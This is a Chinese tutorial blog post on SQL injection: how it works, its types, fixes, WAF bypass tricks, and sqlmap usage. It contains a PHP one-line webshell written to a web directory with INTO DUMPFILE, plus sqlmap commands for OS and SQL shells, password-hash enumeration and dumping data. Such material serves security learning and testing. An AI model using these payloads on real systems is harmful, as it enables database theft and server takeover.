sql注入原理和sqlmap命令的基础命令以及使用手法

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
Web应用防火墙 3.0,每月20元额度 3个月
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
简介: sql注入原理和sqlmap命令的基础命令以及使用手法

原理:

web应用程序对用户输入的数据没有进行过滤,或者过滤不严,就把sql语句拼接进数据库中进行查询


①参数用户可控:前端传给后端的参数内容是用户可以控制的。

②参数代入数据库查询:传入的参数拼接到sql语句,且带入数据库查询。


危害:

①数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。


②网页篡改:通过操作数据库对特定网页进行篡改。


③网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。


④数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。


⑤服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。


⑥破坏硬盘数据,瘫痪全系统。


分类:

基础层面get型注入:联合注入,报错注入,偏移注入


特殊手法get型注入:盲注(时间盲注,布尔盲注),堆叠注入,二次注入,宽字节注入(利用条件不同,手法完全基于基础层面),dnslog注入


进阶层面post型注入:body注入,cookie注入,referer注入,ua头注入,xff头注入(位置不同,手法完全基于基础层面)


闭合符:

整型,字符型(单引号,双引号),有很小部分使用到括号


修复建议:

(1)使用预编译语句,使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。


(2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。


(3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。


(4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。


(5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。(6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。


(7)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。


(8)过滤危险字符,例如:采用正则表达式匹配union、sleep、and、select、load_file等关键字,如果匹配到则终止运行。


绕过方式:

架构层绕WAF


①用户本身是进入waf后访问web页面的,只要我们找到web的真实IP,直接访问,绕过waf就不在话下了


②在同网段内,页面与页面之间,服务器与服务器之间,通过waf的保护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf


③边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行SQL注入


④二次注入(极少见)


资源限制层面绕WAF


①脏数据


协议层面绕过WAF


①更改传输方式get/post等


② 更改文件类型:Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf


③ 参数污染:例如index.php?id=1&id=2,waf也许仅对前部分的id=1进行检测,而后面的参数并不做处理。这样我们就可以在id=2的后面写入sql注入语句进行sql注入


规则层面绕过


①URL编码/双重URL编码


②base64编码


③hex编码


④大小写


⑤内联注释


⑥复写;等价符


⑦宽字节(极少见)


⑧堆叠(极少见)


⑨等价函数


⑩分块传输


常见数据库对应端口号

(1)关系型数据库

 MySql数据库 ,默认端口是: 3306;

 Oracle数据库 ,默认端口号为:1521;

 Sql Server数据库 ,默认端口号为:1433;

 DB2数据库, 默认端口号为:5000;

 PostgreSQL数据库, 默认端口号为:5432;

 国产的DM达梦数据库, 默认端口号为:5236。

(2)NoSql数据库(非关系型数据库):

 Redis数据库,默认端口号:6379;

 Memcached数据库,默认端口号:11211 ;

 MongoDB数据库,默认端口号:27017;"


sql注入写入一句话的paylaod以及需要的条件

  (1)root权限、绝对路径、未编译

  (2)有网站的绝对路径

  (3)mysql服务对网站的网络路径有写权限

  (4)文件夹权限;文件权限;用户权限

  (5)secure_ file _ priv=’’ 表示不允许写入或导出

  (6)启动phpstudy,在my.ini中添加此句

  (7)mysql连接用户有file权限

  (8)未对sql语句进行转义


sqlmap怎么拿shell

(1)os-shell


   (前提条件:①要求为DBA,--is-dba(phpstudy搭建的一般为DBA)

               ②知道网站的绝对路径

               ③GPC为off,php主动转义的功能关闭)  

(2)向数据库写入文件

   (into_outfile 前提条件:①web目录具有写权限,能够使用单引号

                            ②知道网站绝对路径(根目录,或则是根目录往下的目录都行)

                            ③secure_file_priv没有具体值(在mysql/my.ini中查看))

(3)写文件:

   select ‘一句话’ into outfile ‘路径’

   select ‘一句话’ into dumpfile ‘路径’

   select ‘<?php eval($_POST[1]) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;


Sqlmap自动化注入程序命令

-v 4 显示具体注入过程


-u URL 选择get型目标


-r post数据包绝对路径 选择post型目标


-m 批量url包绝对路径 批量注入get型目标


--random-agent 更换随机ua头发包


--proxy=代理地址:代理端口 给你的sql注入挂代理


--tamper=脚本名字 使用编写好的payload替换脚本来替换sqlmap中的payload,以此绕过waf/防火墙等防护


(脚本需要放在sqlmap的tamper目录中)


--threads=进程数 更改sqlmap注入时使用的进程数,以此提高sqlmap注入的效率


(一般默认上限为10,更改后可达到100,但需要修改配置文件)


-p 目标参数 指定sqlmap要注入的参数,避免sql注入进行无用注入,防止被封以及效率过低


(例子xxxxx/?id=1&name=2&passwd=3 需要注入passwd时要使用-p passwd)


--level=3 这个是测试深度,高了无所谓,顶多慢点


--risk=2 这个是测试危险度,高了就踩缝纫机 ,最高是3,但只能用到2


-a, --all 获取所有信息(其实就是--dump,踩缝纫机)


-b, --banner 获取数据库管理系统的标识


--current-user 获取数据库管理系统当前用户


--current-db 获取数据库管理系统当前数据库


--hostname 获取数据库服务器的主机名称


--is-dba 检测DBMS当前用户是否DBA


--users 枚举数据库管理系统用户


--passwords 枚举数据库管理系统用户密码哈希


--privileges 枚举数据库管理系统用户的权限


--roles 枚举数据库管理系统用户的角色


--dbs 枚举数据库管理系统数据库


--tables 枚举的DBMS数据库中的表


--columns 枚举DBMS数据库表列


--schema 枚举数据库架构


--count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容


那么就可以使用这个参数:sqlmap.py -u url --count -D testdb


--dump 拿走数据(如果你前面没加任何库表列,那么默认全部,然后踩缝纫机)


--dump-all 拿走全部数据,然后踩缝纫机


--search 搜索列(S),表(S)和/或数据库名称(S)


--comments 获取DBMS注释


-D 库名 要进行枚举的指定数据库名


-T 表名 DBMS数据库表枚举


-C 列名 DBMS数据库表列枚举


-U 用户名 用来进行枚举的数据库用户


--sql-shell 获取数据库权限


--os-shell 获取当前数据库所在系统权限


--batch 从不询问用户输入,使用所有默认配置(使用--sql-shell和--os-shell时不要使用)


--flush-session 忽略之前注入过的结果,重新注入

image.png


sqlmap基础使用方法

查看当前用户:
 
sqlmap -u "http://127.0.0.1/?id=1" --random-agent --current-user
 
查看数据库账户密码:
 
sqlmap -u "http://127.0.0.1/?id=1" --random-agent --users --password
 
查看数据库:
 
sqlmap -u "http://127.0.0.1/?id=1" --random-agent --dbs
 
已知库test,查表:
 
sqlmap -u "http://127.0.0.1/?id=1" --random-agent -D "test" --tables
 
已知库test,表Users,查字段:
 
sqlmap -u "http://127.0.0.1/?id=1" --random-agent -D "test" -T "users" --columns
 
已知库test,表Users,字段名ID、password,查ID、password字段内容
 
sqlmap -u "http://127.0.0.1/?id=1" --random-agent -D "test" -T "users" -C "ID,password" --dump
相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
3月前
|
存储 关系型数据库 MySQL
(十五)MySQL命令大全:以后再也不用担心忘记SQL该怎么写啦~
相信大家在编写SQL时一定有一个困扰,就是明明记得数据库中有个命令/函数,可以实现自己需要的功能,但偏偏不记得哪个命令该怎么写了,这时只能靠盲目的去百度,以此来寻找自己需要的命令。
124 28
|
2月前
|
SQL 数据库 开发者
深入理解SQL中的ALIAS命令
【8月更文挑战第31天】
56 0
|
2月前
|
SQL 存储 关系型数据库
|
3月前
|
SQL 存储 安全
SQL数据库:核心原理、应用实践与未来展望
在电子商务领域,SQL数据库用于存储商品信息、用户信息、订单信息等。通过SQL数据库,电商平台可以实现商品的快速检索、用户行为的跟踪分析、订单状态的实时更新等功能,提升用户体验和运营效率。
|
3月前
|
SQL 数据库 索引
SQL 命令
【7月更文挑战第10天】SQL 命令。
26 3
|
3月前
|
SQL 算法 数据库
SQL优化器原理 - Join重排
保证等价性:不同的Join顺序可能产生相同的结果集,但执行成本可能不同。因此,在重排Join顺序时,必须确保结果集的等价性。
|
3月前
|
SQL 算法 数据库
SQL优化器原理 - Join重排。
保证等价性:不同的Join顺序可能产生相同的结果集,但执行成本可能不同。因此,在重排Join顺序时,必须确保结果集的等价性。
|
3月前
|
SQL 安全 关系型数据库
使用SQLMap进行SQL注入测试
使用SQLMap进行SQL注入测试
|
3月前
|
SQL Java 关系型数据库
Java面试题:描述JDBC的工作原理,包括连接数据库、执行SQL语句等步骤。
Java面试题:描述JDBC的工作原理,包括连接数据库、执行SQL语句等步骤。
52 0
|
3月前
|
SQL 安全 Oracle
SQLMap工具详解与SQL注入防范
SQLMap工具详解与SQL注入防范